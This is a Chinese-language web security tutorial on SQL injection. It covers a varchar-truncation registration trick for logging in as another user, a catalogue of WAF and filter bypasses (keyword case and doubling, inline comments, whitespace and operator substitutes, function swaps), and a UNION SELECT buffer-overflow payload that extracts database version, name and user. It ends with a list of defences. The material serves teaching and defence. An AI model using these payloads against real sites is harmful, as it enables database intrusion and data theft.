Web安全之SQL注入(原理,绕过,防御) (2)

原理:对于insert语句 SQL会根据varchar(n)来限制字符串的最大长度
例如:user字段约束为varchar(5)
所以 'admin                123','admin'在insert的时候插入的值是一样的都是截取前5个字符

而对于select语句来说两者不一样
select会原封不动的查询有没有匹配'admin          123'的数据
这就造成如果
数据库的表中如果有字段值为admin,
我们注册用户名'admin   123'
sql会先执行select语句查询表中对应字段值有没有为'admin   123'的,
当然是没有,然后插入,由于只能插入前5个字符,所以表中对应字段就多了一个
值为admin,造成任意登录

SQL注入常见绕过


注释可以用#,--+,-- -

过滤关键字:大小写绕过SelEct,双写绕过selselectect,内联注释绕过/*!select*/

特殊编码绕过:十六进制,ASCII编码,unicode编码,hex编码

过滤空格:

    %09 TAB键(水平)
    %0a 新建一行
    %0c 新的一页
    %0d return 功能
    %0b TAB(垂直)
    %a0 空格
    %0a 回车(url编码)
    /**/ 代替空格
    ()包裹关键字


过滤or and xor not: || && | !代替

过滤等号=:like代替,rlike,regexp,0<id>1,!(id<>1)

过滤大于号,小于号:
greatest(n1,n2,n3)返回n中最大值,least(n1,n2,n3)最小
strcmp(str1,str2):若所有的字符串均相同,则返回0,若根据当前分类次序,
第一个参数小于第二个,则返回 -1,其它情况返回 1
in关键字: where id = 1 and substr(username,1,1) in ('t')
between关键字

过滤逗号绕过:
substr("string"from 1 for 3)

join关键字:
select * from users union select * from (select 1)a join (select 2)b join(select 3)c
等价于union select 1,2,3
like:关键字:select user() like"t%"
offset关键字:limit 2,1 等价于limit 1 offset 2

过滤函数绕过:
1)sleep() -->benchmark()

BENCHMARK()函数可以测试某些特定操作的执行速度。
参数可以是需要执行的次数和表达式。
第一个参数是执行次数,第二个执行的表达式

select 1,2 and benchmark(1000000000,1)

2)ascii()–>hex()、bin(),替代之后再使用对应的进制转string即可

3)group_concat()–>concat_ws(),第一个参数为分隔符

eg:mysql> select concat_ws(",","str1","str2")

4)substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()

5)user() --> @@user、datadir–>@@datadir

6)ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文的时候不一致。

    
缓冲区溢出用于对付WAF,因为有不少WAF是C语言写的,
而C语言自身没有缓冲区保护机制,
因此如果WAF在处理测试向量时超出了其缓冲区长度,就会引发bug从而实现绕过

payoad:?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A”重复1000次,
一般来说对应用软件构成缓冲区溢出都需要较大的测试长度
这里1000只做参考,在某些情况下可能不需要这么长也能溢出

 

防御措施:

代码层:
    黑名单:不允许哪些关键字查询
    白名单:允许哪些关键字查询
    敏感字符过滤:' " @ --+ -- )  #等
    使用框架安全查询:一些持久层框架
    规范输出:不要输出报错信息,代码信息,
配置层
    开启GPC:比如在PHP里开启GPC,自动过滤一些通用字符
    使用UTF-8:因为GBK会产生宽字节注入
物理层
    WAF:web应用防火墙,缺点是可绕过,可被0day攻击,但是网站还是得有,
因为它是最基本的防御措施。
    数据库审计:对业务查询代码进行审计
    云防护:跟waf基本没啥区别,就是把客户端输入的参数给过滤一遍发给服务器
    IPS(入侵防御系统)

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wpgwzp.html